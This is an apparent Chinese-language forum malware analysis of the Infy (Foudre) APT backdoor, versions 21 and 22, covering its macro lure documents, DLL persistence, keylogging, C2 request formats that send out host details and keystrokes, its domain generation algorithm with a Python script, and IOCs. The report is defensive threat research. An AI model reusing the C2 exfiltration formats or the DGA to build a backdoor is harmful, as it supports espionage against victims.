首页
社区
课程
招聘
美人鱼(Infy)APT组织的归来——使用最新的Foudre后门进行攻击活动的分析
发表于: 2020-11-2 23:32 2604

美人鱼(Infy)APT组织的归来——使用最新的Foudre后门进行攻击活动的分析

2020-11-2 23:32
2604

美人鱼(Infy)APT组织的归来——使用最新的Foudre后门进行攻击活动的分析

1
本文一共4127字,56张图 预计阅读时间13分钟

封面

0x00.前言

美人鱼(又称infy,Prince of Persia,Foudre)APT组织其主要针对政府机构进行攻击活动,由unit42以及360威胁情报中心首先于2016年5月进行披露,其最早的攻击活动可以追溯到2010年,并且期间一直没有长时间的间断.该组织背后的来源为中东地区.其使用的后门由于其C2的请求中带有infy的路径,故此被名为infy后门,在2017年,unit42发布报告披露了其使用了更新的后门,名为Foudre。不过其单独披露了版本1和版本2的后门。在2018年,Intezerlab发布报告披露了关于Foudre后门的第八版本.在本次的攻击活动中,我们发现了其使用的第21版本第22版本

 

本次发现的攻击活动中,Gcow安全团队追影小组以及微步情报局共同发现并且分析了该活动,其使用了带有恶意宏的文档并且使用了新版本的Foudre后门,其更新了后门的一些操作.同时保留了相关的域生成算法以及部分C2的请求参数具有一定的重合度.并且介于其一直通过在文档中嵌入ole对象通过社工的方式诱导受害者运行使用带有恶意宏提取嵌入的ole对象并且执行的方式释放并运行其打包WinSFX文档以执行相应的Foudre后门,故此撰写本报告以便于看官对该组织更加的了解

 

根据样本的针对性我们判断其很可能属于中东的威胁演员,并且很大概率属于伊朗

0x01.样本分析

样本为doc文档,诱饵文档中的内容由波斯语的图片组成,带有宏代码,运行后进程链无其他新进程产生

 

图片1 文档内容截图

 

图片2 文字内容截图

 

图片3 文字内容翻译

 

文档中插入了几张InlineShape的图片

 

图片4 嵌入的InlineShape的图片

 

宏代码运行时,遍历插入的几张图片,遍历到Type属性为“wdInlineShapeEmbeddedOLEObject”的图片

 

图片5 宏代码提取相应属性图片

 

拼接出路径,根据版本不同释放到"C:\\Users\\sam\\AppData\\Local\\Temp\\upxuppos\\fwupdate.tmp"或"C:\\Users\\sam\\AppData\\Local\\Temp\\fwupdate.tmp",并将.tmp后缀修改为.temp

 

图片6 根据不同版本释放恶意ole对象并且修改其后缀

 

利用range.copy将图片拷贝到剪贴板,利用Shell.Applocation执行,在文档关闭时,样本会使用策略绕过Avast执行文件,然后清除掉粘贴板中的内容

 

图片7 使用shell执行释放的恶意ole对象

fwupdate.tmp

fwupdate.tmp为一个自解压程序,压缩包大小仅为900K,解压后的文件200MB+,文件内容中含有大量重复内容

 

压缩包调用rundll32加载dll

 

图片8 自解压命令

conf4389.dll

从1-110数字中取随机数,取出后根据随机数随机取出一个DLL名称

 

图片9 取随机数并且获取dll名称

 

DLL名称由样本写在内存中

 

图片10 dll文件名称

 

列表共计110行,全部取出后整理得下表,全都为系统白dll名称

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
"ActivationManager"
"ActiveSyncProvider"
"AdaptiveCards"
"ACPBackgroundManagerPolicy"
"APHostService"
"ApiSetHost.AppExecutionAlias"
"AppidPolicyConverter"
"AppIdPolicyEngineApi"
"ApplicationControlCSP"
"ApplicationFrame"
"ApplicationFrameHost"
"ApplySettingsTemplateCatalog"
"AppManagementConfiguration"
"AppointmentActivation"
"AppointmentApis"
"AppvClientEventLog"
"AppVEntStreamingManager"
"AppVEntSubsystems64"
"AppVEntVirtualization"
"AppVFileSystemMetadata"
"AppVIntegration"
"AppVManifest"
"AppVSentinel"
"AppVStreamingUX"
"AppVStreamMap"
"AppxApplicabilityEngine"
"AppXDeploymentClient"
"AppxPackaging"
"AssignedAccessManager"
"AssignedAccessRuntime"
"AuditPolicyGPInterop"
"AuthFWSnapin"
"AzureSettingSyncProvider"
"BackgroundMediaPolicy"
"BthAvrcpAppSvc"
"BthMtpContextHandler"
"BWContextHandler"
"CapabilityAccessHandlers"
"CapabilityAccessManager"
"CapabilityAccessManagerClient"
"CashDrawerProtocolProvider"
"CloudExperienceHost"
"CloudExperienceHostBroker"
"CloudExperienceHostCommon"
"CloudExperienceHostUser"
"ComposerFramework"
"ComputeStorage"
"ConfigureExpandedStorage"
"ConsentExperienceCommon"
"CoreShellExtFramework"
"CoreUIComponents"
"CourtesyEngine"
"DataUsageHandlers"
"DavSyncProvider"
"DdcComImplementationsDesktop"
"DeveloperOptionsSettingsHandlers"
"DeviceCredential"
"DeviceDirectoryClient"
"DeviceFlows.DataModel"
"DeviceMetadataRetrievalClient"
"DevicePairingExperienceMEM"
"DeviceSetupStatusProvider"
"DevicesFlowBroker"
"DiagnosticsHub.Packaging"
"DictationManager"
"DispBroker.Desktop"
"DmApiSetExtImplDesktop"
"Docking.VirtualInput"
"EAMProgressHandler"
"EasPolicyManagerBrokerPS"
"EditionUpgradeManagerObj"
"EnterpriseAppMgmtSvc"
"EnterpriseAppMgmtClient"
"EnterpriseDesktopAppMgmtCSP"
"EnterpriseModernAppMgmtCSP"
"ETWCoreUIComponentsResources"
"FaceBootstrapAdapter"
"FlashUtil_ActiveX"
"GenericProvider"
"HolographicExtensions"
"HolographicRuntimes"
"IndexedDbLegacy"
"IpNatHlpClient"
"KeywordDetectorMsftSidAdapter"
"LangCleanupSysprepAction"
"LanguageComponentsInstaller"
"LanguageOverlayServer"
"LanguageOverlayUtil"
"LanguagePackDiskCleanup"
"LicensingWinRT"
"LicensingDiagSpp"
"LocationFrameworkInternalPS"
"MapControlStringsRes"
"MapsMigPlugin"
"MCCSEngineShared"
"MediaFoundation.DefaultPerceptionProvider"
"MessagingDataModel2"
"MetroIntelGenericUIFramework"
"MFCaptureEngine"
"MiracastInputMgr"
"MitigationConfiguration"
"MixedRealityCapture.Pipeline"
"MixedRealityRuntime"
"MSAProfileNotificationHandler"
"MsSpellCheckingFacility"
"MTFSpellcheckDS"
"NetCellcoreCellManagerProviderResources"
"NetEventPacketCapture"
"NetworkBindingEngineMigPlugin"
"NFCProvisioningPlugin"

本次生成的是AuthFWSnapin.dll,在运行的时候其会从中随机抽选

 

将一同释放出的d488移动到C:\\ProgramData目录下命名为"AuthFWSnapin.dll"并设置为"NORMAL"属性

 

图片11 移动d488

 

创建计划任务,在每次登陆时运行

 

图片12 初始化计划任务xml

 

图片13 使用schtask加载xml注册服务

AuthFWSnapin.dll

通过利用Rundll32.exe加载Shell32.dll,在DLL中main函数内再利用Rundll32.exe加载运行“f8757”导出函数

 

图片14 使用rundll32.exe加载导出函数f8757

 

检测窗口"NRV3B19"

 

图片15 检测窗口NRV3B19

 

样本中还会将一串UNICODE字符串拷贝到变量中,但在执行过程中不知道有何用处

 

图片16 拷贝一串字符串到变量

 

图片17 这段unicode字符的翻译

 

从注册表"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"下APPDATA查询到%APPDATA%路径

 

图片18 通过注册表获取AppData的路径-1

 

图片19 通过注册表获取AppData路径-2

 

检查%APPDATA%是否存在,不存在则创建,然后在%APPDATA%下拼接出样本要释放的文件路径

 

图片20 检查AppData是否存在以及拼接路径

 

获取API地址

 

图片21 获取API地址

 

遍历进程,查询进程“dfserv.exe

 

图片22 查询进程dfserv.exe

 

注册了一个窗口类,类名为“NRV3B91”,并创建一个窗口"Form100022",使用名为"Form100022"的窗口进行键盘记录

 

图片23 注册窗口类NRV3B91

 

图片24 创建窗口并进行键盘记录

 

获取到HTTPUser-AgentGoogle域名

 

图片25 获取Google域名的User-Agent

 

获取到本机的计算机名、用户名、IP地址信息

 

 

创建两个定时器,一个每隔10S读取一次剪贴板内容,一个每隔300s链接C2发送窃取的信息

 

图片27 设置定时器用于读取剪切板内容以及向C2发送信息

 

%APPDATA%目录下创建config.xml用作“Project INI”,存放一串数字ID

 

图片28 写入数字ID于config.xml下

 

Google建立链接,查询状态码是否为200

 

图片29 对Google请求判断其状态码

 

链接成功后,在%temp%目录下创建一个“tempupd6.exe”,向其中写入的内容为HTTP请求返回的内容,写入之后很快又将文件删除了

 

图片30 向临时目录下写tempupd6.exe并删除

 

域名使用生成算法生成

1
ToHex(CRC32("NRV1" + + + 周号)) + (".space"|".net"|".top"|".dynu.net")

使用lockbox3 Delphi库来验证C2,从C2下载签名文件:

1
http://[Domain]/de/?d=2020301&v=00022&t=2020%2D10%2D27%2D%2D15%2D47%2D28

其中d 代表 {year} {自年初以来的天数} t 代表 当前时间

 

下载的签名文件%appdata%\\sig.tmp使用公钥解密后与明文%appdata%\\dom.tmp比较是否相对应

 

图片31 使用公钥解密下载的签名文件

 

当生成的域名链接不成功时,尝试生成其他域名进行重试

 

图片32 使用多种后缀的域名进行请求

 

验证C2后,与C2通信发送请求检查更新

1
http://<C2domain>/2014/?c=<计算机名>&u=<用户名>&v =<版本>&s =<密码>&f=<文件夹>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

图片33 与C2通信检查更新

 

将更新下载回的木马保存在%temp%\\tempupd6.exe

 

图片34 将更新下载的木马存在临时目录下的tempupd6.exe中

 

更新木马下载成功后会再次下载签名文件进行验证,保存在%temp%\\gtsdci32.tmp

1
http://<C2domain>/2015/?c=<计算机名>&u=<用户名>&v=<版本>&s=<密码>&f=<文件夹>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

图片35 向C2请求验证其下载的更新文件

 

验证成功后,使用WinExec函数执行新下载回来的木马文件

 

图片36 验证成功后使用winexec执行木马文件

 

还会向C2传回加密后的键盘记录情况

1
http://<C2domain>/en/d=<date>,text=<data>

后续的载荷并没有下载下来故此不能继续分析

 

上文中我们根据其C2通信的特征将其命名为V22

 

此外我们还发现了另外一个与之有相似宏代码的恶意文档,根据与C2通信的特征将版本命名为V21

 

V21样本中诱饵使用的文档截图:

 

图片37 FoudreV21版本后门文档截图

 

诱饵文档为带有宏代码的恶意文档,文档中的内容为波斯语

 

图片38 诱饵文档内容翻译

 

与前面的样本一样,插入的图片同样是InlineShape属性,将其释放到%temp%目录下并调用Shell运行,释放的是一个自解压文件

 

图片39 释放的自解压文档EZUpdate.tmp

EZUpdate.tmp

EZUpdate.tmp是一个自解压文件,其中包含一个.bmp文件,一个.dll文件,一个d3d9

 

执行的命令行为:Setup=rundll32.exe conf3234.dll f8753 d948

 

图片40 自解压命令

conf3234.dll

在conf3234.dll中也有一段意义不明的字符串

 

图片40 内置的意义不明字符串

 

通过文档内容来看,该样本可能于2020/07/29号后进行编译的

 

查找窗口"NRV3B19","NRV3B19"是样本最后一阶段注册的窗口类

 

图片41 查找窗口NRV3B19

 

修改注册表,在HKEY_CURRENT_USER\\Software\\temp下写入一个名为“ran2”的注册表,注册表内DLL名称为上文所提及生成的

 

图片42 将生成额dll名称写入注册表

 

查询C:\\Programdata是否存在,不存在则创建

 

图片43 检查路径是否㛮

 

将最初同一个压缩包的d389移动到C:\\ProgramData\\下,文件名为注册表内写入的DLL名

 

图片44 移动d389

 

创建计划任务,实现持久化,自启的方式依然是利用Rundll32调用Shell32.dll的函数执行DLL中的main函数,在main函数中再利用Rundll32调用导出函数

 

图片45 初始化计划任务xml

 

图片46 使用schtask注册计划任务

AppxApplicabilityEngine.dll

图片47 执行f8755函数

 

检测参数"1281020996"

 

图片48 检测参数

 

注册窗口类“NRV3B19”,并创建一个窗口"Form100021",使用名为"Form100021"的窗口进行键盘记录,与V22版本不同,V22的窗口为"Form100022",样本习惯使用版本号作为窗口名称的结尾

 

图片49 注册窗口类NRV3B19

 

图片50 创建窗口以进行键盘记录

 

V21中的域名生成算法与V22版本相同,使用的域名也相同

 

域名算法中依然由"NRV1"+年+月+周组成

 

图片51 C2域名生成

 

生成的域名和V22版本样本相同,后缀依然为".space,“.net",".top",".dynu.net"

 

图片52 与上文一样出现的后缀

 

两次样本用来解密从C2获得的签名文件的密钥也相同

 

图片53 解密验证文件的私钥

 

两版本样本功能几乎一致,唯一的不同点在于版本号不同,而没有发现其余功能的更新

 

同时为了方便各位看官理解,我们绘制了该类样本的流程图

 

图片54 Foudre后门v21V22版本执行流程图

0x02.样本相似以及技术演进

1.样本相似

(1).域名生成算法的相关

从之前的样本去看,从第一版本第22版本都使用了相关的域名生成算法,其中以第八版本为一个分界线

 

第八版本之前使用了如下的C2域名生成算法:

1
ToHex(CRC32(“NRV1” + + + 周号)) + (“.space”|”.net”|”.top”)

第八版本使用了如下的C2域名生成算法:

1
ToHex(CRC32(“NRTV1” + + + 周号)) + (“.space”|”.net”|”.top”|”.dynu.net”)

而本次活动披露的第21版本第22版本则使用了老的域名生成算法进行生成,同时扩充了新的后缀

1
ToHex(CRC32("NRV1" + + + 周号)) + (".space"|".net"|".top"|".dynu.net")

在V21与V22版本中更新了添加了验证C2的功能,猜测可能因为之前有安全公司通过算法得到域名后抢在黑客组织前提前抢注了域名

 

所以导致攻击者添加了验证的环节

(2).C&C报文的URL路径

该组织并没有去费周折修改其样本的C&C的请求报文

1
2
3
http://<C2domain>/2014/?c=<计算机名>&u=<用户名>&v =<版本>&s =<密码>&f=<文件夹>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>
 
http://<C2domain>/2015/?c=<计算机名>&u=<用户名>&v=<版本>&s=<密码>&f=<文件夹>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

2.样本技术演进

(1).初始植入物的演变

其使用的植入物在前期版本以向PPT文件嵌入多个ole以诱导受害人点击,以及使用可能的水坑攻击,并且使用直接投递伪装成相关诱饵文件的sfx文档进行投递.在本次捕获的样本中主要涉及到使用恶意宏文档进行投递.不过不排除还有其他攻击手段的可能性(注意:不是准确结论,仅为部分猜测)

 

(2).持久化方式的演进

图片56 持久化方式演进

0x03.处置建议

删除文件

%Temp%\EZUpdate.tmp

 

%Temp%\tmp1375\d948

 

%Temp%\tmp1375\conf3234.dll

 

%Temp%\tmp1375\61Dk5U6TjDL.bmp

 

%AppData%\fwupdate.tmp

 

%AppData%\tmp6073\conf4389.dll

 

%AppData%\tmp6073\d488

 

%Appdata%\config.xml

 

%Temp%\gtsdci32.tmp

 

%AppData%\sig.tmp

 

%AppData%\dom.tmp

 

%Temp%\tempupd6.exe

 

%Temp%\sduchxll.tmp

0x04.IOCs

MD5

2C111A27D0D9D48E9470264B4C16B472

 

d497e0332e88341bd5ddbaa326cab977

 

4381a0c76f2bff772063e6cc6a1ac876

 

DC14F029EFA635D5922012904E162808

 

8b8e286f64a4635e12d6d728a5669d51

 

916e3d4c5835380c99efa802ddb4436d

 

BE11401B723EC4F20BE8D65C04A8003E

 

1a46bd6385feae53a6b8aed758e16556

C2

Generating domains for: 2020-10-20 17:19:39.397000 - 2020-12-29 17:19:39.397000.
Each domain can have .space, .net,.dynu.net or .top as TLD (top level domain).

  1. 2020-10-20 17:19:39.397000 - Week Number: 43
    e00be33d.space
    db54a845.space
    425df9ff.space
    355ac969.space
    ab3e5cca.space
    dc396c5c.space
    45303de6.space
    32370d70.space
    a28810e1.space
    d58f2077.space
    f2b63e96.space
    85b10e00.space
    1cb85fba.space
    6bbf6f2c.space
    f5dbfa8f.space
    82dcca19.space
    1bd59ba3.space
    6cd2ab35.space
    fc6db6a4.space
    8b6a8632.space

  2. 2020-10-27 17:19:39.397000 - Week Number: 44
    7e6f769e.space
    94153e82.space
    0d1c6f38.space
    7a1b5fae.space
    e47fca0d.space
    9378fa9b.space
    0a71ab21.space
    7d769bb7.space
    edc98626.space
    9aceb6b0.space
    f7f92813.space
    80fe1885.space
    19f7493f.space
    6ef079a9.space
    f094ec0a.space
    8793dc9c.space
    1e9a8d26.space
    699dbdb0.space
    f922a021.space
    8e2590b7.space

  3. 2020-11-03 17:19:39.397000 - Week Number: 45
    08aa2c3f.space
    35b268a6.space
    acbb391c.space
    dbbc098a.space
    45d89c29.space
    32dfacbf.space
    abd6fd05.space
    dcd1cd93.space
    4c6ed002.space
    3b69e094.space
    cb5b6b94.space
    bc5c5b02.space
    25550ab8.space
    52523a2e.space
    cc36af8d.space
    bb319f1b.space
    2238cea1.space
    553ffe37.space
    c580e3a6.space
    b287d330.space

  4. 2020-11-10 17:19:39.397000 - Week Number: 46
    91a37d85.space
    1e9f3b65.space
    87966adf.space
    f0915a49.space
    6ef5cfea.space
    19f2ff7c.space
    80fbaec6.space
    f7fc9e50.space
    674383c1.space
    1044b357.space
    c91dd5cd.space
    be1ae55b.space
    2713b4e1.space
    50148477.space
    ce7011d4.space
    b9772142.space
    207e70f8.space
    5779406e.space
    c7c65dff.space
    b0c16d69.space

  5. 2020-11-17 17:19:39.397000 - Week Number: 47
    e6a44d13.space
    07840a24.space
    9e8d5b9e.space
    e98a6b08.space
    77eefeab.space
    00e9ce3d.space
    99e09f87.space
    eee7af11.space
    7e58b280.space
    095f8216.space
    c8dfbffa.space
    bfd88f6c.space
    26d1ded6.space
    51d6ee40.space
    cfb27be3.space
    b8b54b75.space
    21bc1acf.space
    56bb2a59.space
    c60437c8.space
    b103075e.space

  6. 2020-11-24 17:19:39.397000 - Week Number: 48
    761b5082.space
    801c16eb.space
    19154751.space
    6e1277c7.space
    f076e264.space
    8771d2f2.space
    1e788348.space
    697fb3de.space
    f9c0ae4f.space
    8ec79ed9.space
    c383f8c7.space
    b484c851.space
    2d8d99eb.space
    5a8aa97d.space
    c4ee3cde.space
    b3e90c48.space
    2ae05df2.space
    5de76d64.space
    cd5870f5.space
    ba5f4063.space

  7. 2020-12-01 17:19:39.397000 - Week Number: 49
    035ade4d.space
    8bb28844.space
    12bbd9fe.space
    65bce968.space
    fbd87ccb.space
    8cdf4c5d.space
    15d61de7.space
    62d12d71.space
    f26e30e0.space
    85690076.space
    85e1e820.space
    f2e6d8b6.space
    6bef890c.space
    1ce8b99a.space
    828c2c39.space
    f58b1caf.space
    6c824d15.space
    1b857d83.space
    8b3a6012.space
    fc3d5084.space

  8. 2020-12-08 17:19:39.397000 - Week Number: 50
    639d57a8.space
    5bb2593a.space
    c2bb0880.space
    b5bc3816.space
    2bd8adb5.space
    5cdf9d23.space
    c5d6cc99.space
    b2d1fc0f.space
    226ee19e.space
    5569d108.space
    328cb4ca.space
    458b845c.space
    dc82d5e6.space
    ab85e570.space
    35e170d3.space
    42e64045.space
    dbef11ff.space
    ace82169.space
    3c573cf8.space
    4b500c6e.space

  9. 2020-12-15 17:19:39.397000 - Week Number: 51
    149a673e.space
    42a9687b.space
    dba039c1.space
    aca70957.space
    32c39cf4.space
    45c4ac62.space
    dccdfdd8.space
    abcacd4e.space
    3b75d0df.space
    4c72e049.space
    334edefd.space
    4449ee6b.space
    dd40bfd1.space
    aa478f47.space
    34231ae4.space
    43242a72.space
    da2d7bc8.space
    ad2a4b5e.space
    3d9556cf.space
    4a926659.space

  10. 2020-12-22 17:19:39.397000 - Week Number: 52
    8d933684.space
    69843bb8.space
    f08d6a02.space
    878a5a94.space
    19eecf37.space
    6ee9ffa1.space
    f7e0ae1b.space
    80e79e8d.space
    1058831c.space
    675fb38a.space
    310860a4.space
    460f5032.space
    df060188.space
    a801311e.space
    3665a4bd.space
    4162942b.space
    d86bc591.space
    af6cf507.space
    3fd3e896.space
    48d4d800.space

0x05.附录

参考链接:

https://www.intezer.com/blog/research/prince-of-persia-the-sands-of-foudre/

 

https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/

 

http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

 

http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/

 

https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/

 

https://www.freebuf.com/articles/network/105726.html

域名生成脚本

基于Esmid idrizovic的脚本进行修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import binascii
import datetime
amp = 0xffffffff
def getHostCRC(input):
    crc = binascii.crc32(input) &amp; 0xffffffff
    host = "{:08x}".format(int(crc))
    return host
def getDomains(date):
    domains = [".space"]
    results = []
    weeknumber = date.isocalendar()[1]
    s = "NRV1{}{}{}".format(date.year, date.month, weeknumber)
    hostname = s
    host = getHostCRC(hostname) + domains[0]
    results.append(host)
    for d in domains:
        for i in range(1, 101):
            hostname = s + str(i)
            host = getHostCRC(hostname) + d
            results.append(host)
    return results
 
def getDomainsForNextWeeks(number_of_weeks):
    date = datetime.datetime.now()
    date -= datetime.timedelta(days=7)
    n = 1
    date_to = date + datetime.timedelta(days=7*number_of_weeks)
    print "Generating domains for: {} - {}.\nEach domain can have .space, .net or .top as TLD (top level domain).\n\n".format(date, date_to)
 
    for i in range(number_of_weeks):
        tmp = getDomains(date)
        top_domains = tmp[:20]
        weeknumber = date.isocalendar()[1]
        print "{}. {} - Week Number: {}".format(n, date, weeknumber)
        for domain in top_domains:
            print "{}".format(domain)
        date += datetime.timedelta(days=7)
        n = n + 1
        print ""
getDomainsForNextWeeks(10)

0x06.结语

美人鱼(Infy) APT组织是一个活动持续将近10年的组织,其水平不高也不算低.其不断改变手法以逃避安全人员的追查,同时该组织在其恶意样本的编写中逐渐尝试减少特征,并且在编写过程中使用寄存器传递参数的方式加大安全分析人员分析的难度以及归属的难度.并且很有意思的一点,该组织喜欢在其样本中添加最近新闻中的信息,目的不明,猜测可能旨在标记时间


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//